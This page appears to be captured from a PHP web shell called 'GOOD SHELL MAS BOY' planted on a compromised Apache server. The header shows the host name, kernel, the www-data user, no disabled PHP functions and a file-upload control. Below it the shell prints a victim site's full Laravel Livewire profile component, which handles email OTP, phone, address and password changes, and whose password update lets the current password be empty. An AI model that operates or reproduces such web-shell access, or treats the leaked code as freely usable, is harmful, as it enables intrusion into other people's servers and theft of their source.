GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Profile/CustomerProfile.php
<?php

namespace App\Livewire\Profile;

use Livewire\Component;
use Livewire\WithFileUploads;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;

class CustomerProfile extends Component
{
    use WithFileUploads;

    public $newPhoto;
    public $userData;
    public $sellerNINData;
    public $user_id;
    public $email;
    public $new_email;
    public $phone;
    public $profile_photo_url;
    public $photo;
    public $email_otp;
    public $country;
    public $city;
    public $state;
    public $showVerifyOtpForm = false;
    public $hideForm = true;
    public $verified_email = false;
    public $un_verified_email = false;


    public function mount()
    {
        $this->userData = Session::get('user');
        $this->name = $this->userData['name'];
        $this->lastname = $this->userData['lastname'];
        $this->city = $this->userData['city'];
        $this->state = $this->userData['state'];
        $this->address = $this->userData['address'] ?? '';
        $this->photo = $this->userData['profile_photo_url'];

        $this->email = $this->userData['email'];
        switch ($this->userData['email_verified_at']) {
            case null:
                $this->un_verified_email = true;
                break;
            default:
                $this->verified_email = true;
                break;
        }

        $this->phone = $this->userData['phone'] ?? '';
    }
    public function toggleEmailEdit()
    {
        $this->un_verified_email = !$this->un_verified_email;
    }

    public function updatedProfilePhotoUrl()
    {
        // dd($this->profile_photo_url);
        try {
            $this->validate([
                'profile_photo_url' => 'required|image|max:1024',
            ]);

            if ($this->profile_photo_url) {
                // Upload the file to Cloudinary
                $uploadedFile = $this->profile_photo_url->getRealPath();
                $uploadResult = cloudinary()->upload($uploadedFile, ['folder' => 'BuyerProfilePhoto']);
                $profile_photo_url = $uploadResult->getSecurePath();
                $profile_photo_public_id = $uploadResult->getPublicId();
            }


            $body = [
                'user_id' => $this->userData['id'],
                'profile_photo_url' => $profile_photo_url ?? '',
            ];

            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->post(ApiEndpoints::updateProfilePhoto());

            if ($response->successful()) {
                $user = $response->json()['data'];
                Session::put('user', $user);
                $this->mount();
                $this->addError('profile_photo_url', $response->json()['message']);
            } else {
                $this->addError('profile_photo_url', $response->json()['message']);
            }
        } catch (\Throwable $th) {
            $this->addError('profile_photo_url', $th->getMessage());
        }
    }

    public function sendEmailOtp()
    {

        try {
            $this->validate([
                'new_email' => 'required|email|string',
            ]);
            $response = Http::post(ApiEndpoints::sendEmailOtp(), [
                'email' => $this->new_email,
            ]);

            if ($response->successful()) {
                $info = $response->json()['message'];
                Session::flash('success', $info);
                //show the input field to enter code
                $this->showVerifyOtpForm = true;
                $this->un_verified_email = false; // to hide the unverified form
            } else {
                $info = $response->json()['message'];
                $this->addError('new_email', $info);
                Session::flash('error', $info);
            }
        } catch (\Throwable $th) {
            $info = $th->getMessage();
            Session::flash('error', $info);
            Log::error($th->getMessage());
            $this->addError('new_email', $info);
        }
    }

    public function changeEmail()
    {

        try {
            $this->validate([
                'new_email' => 'required',
                'email_otp' => 'required',
            ]);

            $body = [
                'email' => $this->new_email,
                'otp' => $this->email_otp,
            ];
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->post(ApiEndpoints::changeEmail());
            if ($response->successful()) {
                $info = $response->json()['data'];
                Session::put('user', $info);
                $this->addError('email', $response->json()['message']);
                $this->mount();
            } else {
                $info = $response->json()['message'];
                $this->addError('email_otp', $info);
                Session::flash('error', $info);
            }
        } catch (\Throwable $th) {
            $info = $th->getMessage();
            Session::flash('error', $info);
            Log::error($th->getMessage());
            $this->addError('email_otp', $info);
        }
    }

    public function updatePhone()
    {
        $this->validate([
            'phone' => 'required|digits:11',
        ]);
        
        $body = [
            'phone' => $this->phone,
            'user_id' => $this->userData['id'],
        ];
        $apiEndpoints = new ApiEndpoints();
        $headers = $apiEndpoints->header();
        $response = Http::withHeaders($headers)
        ->withBody(json_encode($body), 'application/json')
        ->post(ApiEndpoints::updatePhone());
        
        if ($response->successful()) {
            $info = $response->json()['data'];
            Session::put('user', $info);
            $this->addError('phone', $response->json()['message']);
            $this->mount();
        } else {
            $info = $response->json()['message']['phone'][0];
            $this->addError('phoneDanger', $info);
        }
    }

    public $name;
    public $lastname;
    public $address;

    public function updateInfo()
    {
        try {
            $this->validate([
                'city' => 'required|string|max:255',
                'state' => 'required|string|max:255',
                'address' => 'nullable|string|max:255',
            ]);
            $body = [
                'city' => $this->city,
                'state' => $this->state,
                'address' => $this->address,
            ];
            
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->put(ApiEndpoints::updateProfile());

            if ($response->successful()) {
                $info = $response->json()['data'];
                Session::put('user', $info);
                $this->mount();
                $this->addError('address', $response->json()['message']);
            } else {
                $info = $response->json()['message'];
                $this->addError('name', $info);
            }
        } catch (\Throwable $th) {
            $this->addError('name', $th->getMessage());
        }
    }

    public $current_password;
    public $new_password;

    public function updatePassword()
    {
        try {
            $this->validate([
                'current_password' => 'nullable',
                'new_password' => 'required|min:8',
            ]);
            $body = [
                'exist_password' => $this->current_password,
                'new_password' => $this->new_password,
            ];
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->post(ApiEndpoints::updatePassword());

            if ($response->successful()) {
                $this->addError('new', $response->json()['message']);
                $this->mount();
            } else {
                $info = $response->json()['message'];
                $this->addError('new_password', $info);
            }
        } catch (\Throwable $th) {
            $this->addError('new_password', $th->getMessage());
        }
    }


    public function render()
    {
        return view('livewire.profile.customer-profile');
    }
}